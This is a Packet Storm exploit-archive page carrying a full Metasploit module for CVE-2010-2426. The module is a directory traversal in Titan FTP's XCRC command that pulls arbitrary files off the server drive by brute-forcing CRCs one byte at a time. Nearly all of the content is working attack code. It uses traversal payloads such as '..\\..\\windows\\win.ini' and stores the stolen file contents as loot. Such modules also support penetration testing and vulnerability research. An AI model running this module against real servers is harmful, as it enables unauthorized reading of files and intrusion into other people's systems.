exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Titan FTP XCRC Directory Traversal Information Disclosure

Titan FTP XCRC Directory Traversal Information Disclosure
Posted Sep 1, 2024
Authored by jduck, Brandon McCann | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in the XCRC command implemented in versions of Titan FTP up to and including 8.10.1125. By making sending multiple XCRC command, it is possible to disclose the contents of any file on the drive with a simple CRC "brute force" attack. Although the daemon runs with SYSTEM privileges, access is limited to files that reside on the same drive as the FTP servers root directory.

tags | exploit, root
advisories | CVE-2010-2426
SHA-256 | ed7575b07995a5b8577846eccae5dd4535f4645203b1365a49593336a9c3e5ff

Titan FTP XCRC Directory Traversal Information Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def proto
'ftp'
end

def initialize
super(
'Name' => 'Titan FTP XCRC Directory Traversal Information Disclosure',
'Description' => %q{
This module exploits a directory traversal vulnerability in the XCRC command
implemented in versions of Titan FTP up to and including 8.10.1125. By making
sending multiple XCRC command, it is possible to disclose the contents of any
file on the drive with a simple CRC "brute force" attack.

Although the daemon runs with SYSTEM privileges, access is limited to files
that reside on the same drive as the FTP server's root directory.
},
'Author' =>
[
'jduck',
'Brandon McCann @zeknox <bmccann[at]accuvant.com>',
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2426' ],
[ 'OSVDB', '65533'],
[ 'URL', 'https://seclists.org/bugtraq/2010/Jun/160' ]
],
'DisclosureDate' => 'Jun 15 2010'
)

register_options(
[
Opt::RPORT(21),
OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]),
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'windows\\win.ini'])
])
end


def run_host(ip)

c = connect_login
return if not c

path = datastore['TRAVERSAL'] + datastore['PATH']

res = send_cmd( ['XCRC', path, "0", "9999999999"], true )
if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./)
print_error("Unable to obtain file size! File probably doesn't exist.")
return
end
file_size = $1.to_i

update_interval = 1.5
last_update = Time.now - update_interval

old_crc = 0
file_data = ''
file_size.times { |off|
res = send_cmd( ['XCRC', path, "0", (off+1).to_s], true )
if not (res =~ /250 (.*)\r?\n/)
raise RuntimeError, "Unable to obtain XCRC of byte #{off}!"
end

crc = $1.to_i(16)
if (crc == 0)
raise RuntimeError, "Unable to decode CRC: #{$1}"
end

ch = char_from_crc(crc, old_crc)
if not (ch)
raise RuntimeError, ("Unable to find a CRC match for 0x%x" % crc)
end

# got this byte ;)
file_data << ch
old_crc = crc

if (Time.now - last_update) >= update_interval
progress(file_size, off)
last_update = Time.now
end
}

progress(file_size, file_size)

fname = datastore['PATH'].gsub(/[\/\\]/, '_')
p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname)
print_good("Saved in: #{p}")
vprint_status(file_data.inspect)

disconnect

end

#
# Return a character code from the crc, or nil on failure
#
def char_from_crc(crc, old_crc)
256.times { |x|
ch = x.chr
if (Zlib.crc32(ch, old_crc) == crc)
return ch
end
}
nil
end

def progress(total, current)
done = (current.to_f / total.to_f) * 100
percent = "%3.2f%%" % done.to_f
print_status("Obtaining file contents - %7s done (%d/%d bytes)" % [percent, current, total])
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close